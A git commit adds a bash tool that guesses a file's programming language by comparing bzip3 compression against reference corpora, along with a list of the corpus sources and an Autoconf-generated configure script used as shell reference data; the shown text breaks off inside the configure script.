commit d50a70b33fb014b6993cadc3531505cdf7f981c7 Author: Kamila Szewczyk Date: Sun Nov 12 13:49:01 2023 +0000 Upload files to "" diff --git a/langsmoke b/langsmoke new file mode 100644 index 0000000..2bedf02 --- /dev/null +++ b/langsmoke @@ -0,0 +1,37 @@ +#!/bin/bash + +# Get input argument +if [ $# -ne 1 ]; then + echo "Usage: langsmoke " + exit 1 +fi + +if [ ! -r $1 ] || [ -d $1 ]; then + echo "Error: $1 is not a readable file" + exit 1 +fi + +# Get size of input in MB +size=$(du -sm $1 | cut -f1) +let "size++" + +src=$1 +bz3=$(bzip3 -vf $1 /dev/null 2>&1 | grep -oE "[0-9]+ bytes" | grep -oE "[0-9]+") + +function do_stat { + # 20MB cutoff. + l_stat=$(cat ref_$1 $src | head -c 20000000 | bzip3 -eb $size | wc -c) + l_ref=$2 + sim=$(python3 -c "print(100*(1-($l_stat - min($l_ref, $bz3)) / (max($l_ref, $bz3))))") + echo $sim +} + +echo "C: $(do_stat c 34248)" +echo "C++: $(do_stat cpp 33606)" +echo "Java: $(do_stat java 61196)" +echo "6502: $(do_stat 6502 7978)" +echo "Z80: $(do_stat z80 20182)" +echo "APL: $(do_stat apl 29173)" +echo "x86: $(do_stat x86 25753)" +echo "x64: $(do_stat x64 13671)" +echo "Shell: $(do_stat sh 44144)" \ No newline at end of file diff --git a/ref.md b/ref.md new file mode 100644 index 0000000..aa5fa5b --- /dev/null +++ b/ref.md @@ -0,0 +1,11 @@ + +Dataset sources: +- C: https://github.com/kspalaiologos/asm2ws, https://github.com/Mashpoe/c-hashmap, https://github.com/kspalaiologos/modern-rzip, Raylib +- C++: https://github.com/ThePhD/sol2, LLVM libcxx +- Java: https://github.com/kspalaiologos/cask, https://github.com/kspalaiologos/kamilalisp, https://github.com/Anuken/Mindustry, https://github.com/openjdk/jdk +- 6502: Chess by Peter Jennings, Day Of Week by Paul Guertin, Sweet Interpreter by Apple Computer, Mini Multitasking 6502 kernel (Joachim Deboy) +- Z80: TSE by Michael Vincent & Robin Kay, CSX: Copyright (c) 2004, Sean McLaughlin, Megaman and Mario clones from TI Archive (TI83+, Mirage OS). +- APL: Lambda Calculus, apl-misc-math, apl-logic, dx by Kamila Szewczyk. https://github.com/the-carlisle-group/Text2Date. https://github.com/Dyalog/Jarvis. +- x86: Various bits of my private code (Kamila Szewczyk), Flat Assembler by Tomasz Grysztar, DOS 2.0 chkdsk by Microsoft, basicdos: https://github.com/jeffpar/basicdos +- x64: kspalaiologos/elf-infection, https://github.com/Sakib2263/64-Bit-NASM-Assembly-Code-Examples, https://github.com/GugaDozero/asm64-tictactoe, https://github.com/nuid64/asmerver, https://github.com/CorruptedByCPU/Cyjon +- shell: oh my zsh, autoconf, docker pi hole \ No newline at end of file diff --git a/ref_sh b/ref_sh new file mode 100644 index 0000000..ee6529c --- /dev/null +++ b/ref_sh @@ -0,0 +1,7326 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.71 for sdlreversi 1.0. +# +# Report bugs to . +# +# +# Copyright (C) 1992-1996, 1998-2017, 2020-2021 Free Software Foundation, +# Inc. +# +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +# +# Copyright (C) 2023 Kamila Szewczyk; licensed under the terms of the GNU GPLv3 license. +## -------------------- ## +## M4sh Initialization. ## +## -------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +as_nop=: +if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 +then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else $as_nop + case `(set -o) 2>/dev/null` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac +fi + + + +# Reset variables that may have inherited troublesome values from +# the environment. + +# IFS needs to be set, to space, tab, and newline, in precisely that order. +# (If _AS_PATH_WALK were called with IFS unset, it would have the +# side effect of setting IFS to empty, thus disabling word splitting.) +# Quoting is to prevent editors from complaining about space-tab. +as_nl=' +' +export as_nl +IFS=" "" $as_nl" + +PS1='$ ' +PS2='> ' +PS4='+ ' + +# Ensure predictable behavior from utilities with locale-dependent output. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# We cannot yet rely on "unset" to work, but we need these variables +# to be unset--not just set to an empty or harmless value--now, to +# avoid bugs in old shells (e.g. pre-3.0 UWIN ksh). This construct +# also avoids known problems related to "unset" and subshell syntax +# in other old shells (e.g. bash 2.01 and pdksh 5.2.14). +for as_var in BASH_ENV ENV MAIL MAILPATH CDPATH +do eval test \${$as_var+y} \ + && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : +done + +# Ensure that fds 0, 1, and 2 are open. +if (exec 3>&0) 2>/dev/null; then :; else exec 0&1) 2>/dev/null; then :; else exec 1>/dev/null; fi +if (exec 3>&2) ; then :; else exec 2>/dev/null; fi + +# The user is always right. +if ${PATH_SEPARATOR+false} :; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# Find who we are. Look in the path if we contain no directory separator. +as_myself= +case $0 in #(( + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + test -r "$as_dir$0" && as_myself=$as_dir$0 && break + done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + printf "%s\n" "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + exit 1 +fi + + +# Use a proper internal environment variable to ensure we don't fall + # into an infinite loop, continuously re-executing ourselves. + if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then + _as_can_reexec=no; export _as_can_reexec; + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed `exec'. +printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 +exit 255 + fi + # We don't want this to propagate to other subprocesses. + { _as_can_reexec=; unset _as_can_reexec;} +if test "x$CONFIG_SHELL" = x; then + as_bourne_compatible="as_nop=: +if test \${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 +then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which + # is contrary to our usage. Disable this feature. + alias -g '\${1+\"\$@\"}'='\"\$@\"' + setopt NO_GLOB_SUBST +else \$as_nop + case \`(set -o) 2>/dev/null\` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac +fi +" + as_required="as_fn_return () { (exit \$1); } +as_fn_success () { as_fn_return 0; } +as_fn_failure () { as_fn_return 1; } +as_fn_ret_success () { return 0; } +as_fn_ret_failure () { return 1; } + +exitcode=0 +as_fn_success || { exitcode=1; echo as_fn_success failed.; } +as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } +as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } +as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } +if ( set x; as_fn_ret_success y && test x = \"\$1\" ) +then : + +else \$as_nop + exitcode=1; echo positional parameters were not saved. +fi +test x\$exitcode = x0 || exit 1 +blah=\$(echo \$(echo blah)) +test x\"\$blah\" = xblah || exit 1 +test -x / || exit 1" + as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO + as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO + eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && + test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1" + if (eval "$as_required") 2>/dev/null +then : + as_have_required=yes +else $as_nop + as_have_required=no +fi + if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null +then : + +else $as_nop + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +as_found=false +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + as_found=: + case $as_dir in #( + /*) + for as_base in sh bash ksh sh5; do + # Try only shells that exist, to save several forks. + as_shell=$as_dir$as_base + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + as_run=a "$as_shell" -c "$as_bourne_compatible""$as_required" 2>/dev/null +then : + CONFIG_SHELL=$as_shell as_have_required=yes + if as_run=a "$as_shell" -c "$as_bourne_compatible""$as_suggested" 2>/dev/null +then : + break 2 +fi +fi + done;; + esac + as_found=false +done +IFS=$as_save_IFS +if $as_found +then : + +else $as_nop + if { test -f "$SHELL" || test -f "$SHELL.exe"; } && + as_run=a "$SHELL" -c "$as_bourne_compatible""$as_required" 2>/dev/null +then : + CONFIG_SHELL=$SHELL as_have_required=yes +fi +fi + + + if test "x$CONFIG_SHELL" != x +then : + export CONFIG_SHELL + # We cannot yet assume a decent shell, so we have to provide a +# neutralization value for shells without unset; and this also +# works around shells that cannot unset nonexistent variables. +# Preserve -v and -x to the replacement shell. +BASH_ENV=/dev/null +ENV=/dev/null +(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV +case $- in # (((( + *v*x* | *x*v* ) as_opts=-vx ;; + *v* ) as_opts=-v ;; + *x* ) as_opts=-x ;; + * ) as_opts= ;; +esac +exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} +# Admittedly, this is quite paranoid, since all the known shells bail +# out after a failed `exec'. +printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 +exit 255 +fi + + if test x$as_have_required = xno +then : + printf "%s\n" "$0: This script requires a shell more modern than all" + printf "%s\n" "$0: the shells that I found on your system." + if test ${ZSH_VERSION+y} ; then + printf "%s\n" "$0: In particular, zsh $ZSH_VERSION has bugs and should" + printf "%s\n" "$0: be upgraded to zsh 4.3.4 or later." + else + printf "%s\n" "$0: Please tell bug-autoconf@gnu.org and +$0: kspalaiologos@gmail.com about your system, including +$0: any error possibly output before this message. Then +$0: install a modern shell, or manually run the script +$0: under such a shell if you do have one." + fi + exit 1 +fi +fi +fi +SHELL=${CONFIG_SHELL-/bin/sh} +export SHELL +# Unset more variables known to interfere with behavior of common tools. +CLICOLOR_FORCE= GREP_OPTIONS= +unset CLICOLOR_FORCE GREP_OPTIONS + +## --------------------- ## +## M4sh Shell Functions. ## +## --------------------- ## +# as_fn_unset VAR +# --------------- +# Portably unset VAR. +as_fn_unset () +{ + { eval $1=; unset $1;} +} +as_unset=as_fn_unset + + +# as_fn_set_status STATUS +# ----------------------- +# Set $? to STATUS, without forking. +as_fn_set_status () +{ + return $1 +} # as_fn_set_status + +# as_fn_exit STATUS +# ----------------- +# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. +as_fn_exit () +{ + set +e + as_fn_set_status $1 + exit $1 +} # as_fn_exit +# as_fn_nop +# --------- +# Do nothing but, unlike ":", preserve the value of $?. +as_fn_nop () +{ + return $? +} +as_nop=as_fn_nop + +# as_fn_mkdir_p +# ------------- +# Create "$as_dir" as a directory, including parents if necessary. +as_fn_mkdir_p () +{ + + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || eval $as_mkdir_p || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`printf "%s\n" "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" + + +} # as_fn_mkdir_p + +# as_fn_executable_p FILE +# ----------------------- +# Test if FILE is an executable regular file. +as_fn_executable_p () +{ + test -f "$1" && test -x "$1" +} # as_fn_executable_p +# as_fn_append VAR VALUE +# ---------------------- +# Append the text in VALUE to the end of the definition contained in VAR. Take +# advantage of any shell optimizations that allow amortized linear growth over +# repeated appends, instead of the typical quadratic growth present in naive +# implementations. +if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null +then : + eval 'as_fn_append () + { + eval $1+=\$2 + }' +else $as_nop + as_fn_append () + { + eval $1=\$$1\$2 + } +fi # as_fn_append + +# as_fn_arith ARG... +# ------------------ +# Perform arithmetic evaluation on the ARGs, and store the result in the +# global $as_val. Take advantage of shells that can avoid forks. The arguments +# must be portable across $(()) and expr. +if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null +then : + eval 'as_fn_arith () + { + as_val=$(( $* )) + }' +else $as_nop + as_fn_arith () + { + as_val=`expr "$@" || test $? -eq 1` + } +fi # as_fn_arith + +# as_fn_nop +# --------- +# Do nothing but, unlike ":", preserve the value of $?. +as_fn_nop () +{ + return $? +} +as_nop=as_fn_nop + +# as_fn_error STATUS ERROR [LINENO LOG_FD] +# ---------------------------------------- +# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are +# provided, also output the error to LOG_FD, referencing LINENO. Then exit the +# script with STATUS, using 1 if that was 0. +as_fn_error () +{ + as_status=$1; test $as_status -eq 0 && as_status=1 + if test "$4"; then + as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 + fi + printf "%s\n" "$as_me: error: $2" >&2 + as_fn_exit $as_status +} # as_fn_error + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + + + as_lineno_1=$LINENO as_lineno_1a=$LINENO + as_lineno_2=$LINENO as_lineno_2a=$LINENO + eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && + test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { + # Blame Lee E. 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[VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking ...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --runstatedir=DIR modifiable per-process data [LOCALSTATEDIR/run] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/sdlreversi] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +Program names: + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM run sed PROGRAM on installed program names +_ACEOF +fi + +if test -n "$ac_init_help"; then + case $ac_init_help in + short | recursive ) echo "Configuration of sdlreversi 1.0:";; + esac + cat <<\_ACEOF + +Optional Features: + --disable-option-checking ignore unrecognized --enable/--with options + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-silent-rules less verbose build output (undo: "make V=1") + --disable-silent-rules verbose build output (undo: "make V=0") + --enable-dependency-tracking + do not reject slow dependency extractors + --disable-dependency-tracking + speeds up one-time build + +Some influential environment variables: + CXX C++ compiler command + CXXFLAGS C++ compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + LIBS libraries to pass to the linker, e.g. -l + CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + CC C compiler command + CFLAGS C compiler flags + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +Report bugs to . +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || + { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || + continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for configure.gnu first; this name is used for a wrapper for + # Metaconfig's "Configure" on case-insensitive file systems. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + printf "%s\n" "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +sdlreversi configure 1.0 +generated by GNU Autoconf 2.71 + +Copyright (C) 2021 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. + +Copyright (C) 2023 Kamila Szewczyk; licensed under the terms of the GNU GPLv3 license. +_ACEOF + exit +fi + +## ------------------------ ## +## Autoconf initialization. ## +## ------------------------ ## + +# ac_fn_cxx_try_compile LINENO +# ---------------------------- +# Try to compile conftest.$ac_ext, and return whether this succeeded. +ac_fn_cxx_try_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest.beam + if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_cxx_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext +then : + ac_retval=0 +else $as_nop + printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_cxx_try_compile + +# ac_fn_c_try_compile LINENO +# -------------------------- +# Try to compile conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest.beam + if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext +then : + ac_retval=0 +else $as_nop + printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_compile + +# ac_fn_c_try_link LINENO +# ----------------------- +# Try to link conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_link () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest.beam conftest$ac_exeext + if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>conftest.err + ac_status=$? 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Invocation command line was + + $ $0$ac_configure_args_raw + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + printf "%s\n" "PATH: $as_dir" + done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`printf "%s\n" "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; + 2) + as_fn_append ac_configure_args1 " '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + as_fn_append ac_configure_args " '$ac_arg'" + ;; + esac + done +done +{ ac_configure_args0=; unset ac_configure_args0;} +{ ac_configure_args1=; unset ac_configure_args1;} + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Sanitize IFS. + IFS=" "" $as_nl" + # Save into config.log some information that might help in debugging. + { + echo + + printf "%s\n" "## ---------------- ## +## Cache variables. ## +## ---------------- ##" + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + (set) 2>&1 | + case 